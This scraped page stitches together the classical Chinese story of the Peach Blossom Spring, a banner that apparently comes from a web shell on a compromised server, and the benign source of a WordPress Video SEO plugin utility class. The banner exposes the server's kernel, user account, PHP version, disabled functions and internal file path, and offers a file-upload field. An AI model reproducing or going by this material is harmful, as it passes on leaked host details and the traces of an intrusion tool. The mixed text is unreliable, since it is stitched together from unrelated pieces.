晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /proc/self/root/home/stando/www/wp-content/plugins/wpseo-video/classes/ |
Upload File : |
<?php
/**
* Utilities for fetching video data.
*
* @package WordPress SEO
* @subpackage WordPress SEO Video
*
* @since 11.1
*/
/**
* Utility functions to get data about videos.
*
* @package WordPress SEO Video
* @since 11.1
*/
class WPSEO_Video_Utils {
/**
* Check whether VideoSEO is active for a specific post type.
*
* @since 11.1
*
* @param string $post_type The post type to check for.
*
* @return bool True if active, false if inactive.
*/
public static function is_videoseo_active_for_posttype( $post_type ) {
$options = get_option( 'wpseo_video' );
if ( ! is_array( $options['videositemap_posttypes'] ) || $options['videositemap_posttypes'] === array() ) {
return false;
}
return in_array( $post_type, $options['videositemap_posttypes'], true );
}
/**
* Check to see if the video thumbnail was manually set, if so, update the $video array.
*
* @since 11.1
*
* @param int $post_id The post to check for.
* @param array $video The video array.
*
* @return array
*/
public static function get_video_image( $post_id, $video ) {
// Allow for the video's thumbnail to be overridden by the meta box input.
$videoimg = WPSEO_Meta::get_value( 'videositemap-thumbnail', $post_id );
if ( $videoimg !== '' ) {
$video['thumbnail_loc'] = $videoimg;
}
return $video;
}
/**
* Retrieve the duration of a video.
*
* Use a user provided duration if available, fall back to the available video data
* as previously retrieved through an API call.
*
* @since 11.1
*
* @param array $video Data about the video being evaluated.
* @param int $post_id Optional. Post ID.
*
* @return int Duration in seconds or 0 if no duration could be determined.
*/
public static function get_video_duration( $video, $post_id = null ) {
$video_duration = 0;
if ( isset( $post_id ) ) {
$video_duration = (int) WPSEO_Meta::get_value( 'videositemap-duration', $post_id );
}
if ( $video_duration === 0 && isset( $video['duration'] ) ) {
$video_duration = (int) $video['duration'];
}
return $video_duration;
}
/**
* Converts the duration in seconds to an ISO 8601 compatible output. Assumes the length is not over 24 hours.
*
* @link https://en.wikipedia.org/wiki/ISO_8601
*
* @param int $duration The duration in seconds.
*
* @return string $out ISO 8601 compatible output.
*/
public static function iso_8601_duration( $duration ) {
if ( $duration <= 0 ) {
return '';
}
$out = 'PT';
if ( $duration > HOUR_IN_SECONDS ) {
$hours = floor( $duration / HOUR_IN_SECONDS );
$out .= $hours . 'H';
$duration = ( $duration - ( $hours * HOUR_IN_SECONDS ) );
}
if ( $duration > MINUTE_IN_SECONDS ) {
$minutes = floor( $duration / MINUTE_IN_SECONDS );
$out .= $minutes . 'M';
$duration = ( $duration - ( $minutes * MINUTE_IN_SECONDS ) );
}
if ( $duration > 0 ) {
$out .= $duration . 'S';
}
return $out;
}
/**
* Determine whether a video is family friendly or not.
*
* @since 11.1
*
* @param int $post_id Post ID.
*
* @return bool True if family friendly, false if not.
*/
public static function is_video_family_friendly( $post_id ) {
$not_family_friendly = apply_filters( 'wpseo_video_family_friendly', WPSEO_Meta::get_value( 'videositemap-not-family-friendly', $post_id ), $post_id );
return ( false === ( is_string( $not_family_friendly ) && $not_family_friendly === 'on' ) );
}
/**
* Return the plugin file
*
* @since 11.1
*
* @return string
*/
public static function get_plugin_file() {
return WPSEO_VIDEO_FILE;
}
/**
* Load translations
*
* @since 11.1
*/
public static function load_textdomain() {
load_plugin_textdomain( 'yoast-video-seo', false, dirname( plugin_basename( WPSEO_VIDEO_FILE ) ) . '/languages/' );
}
}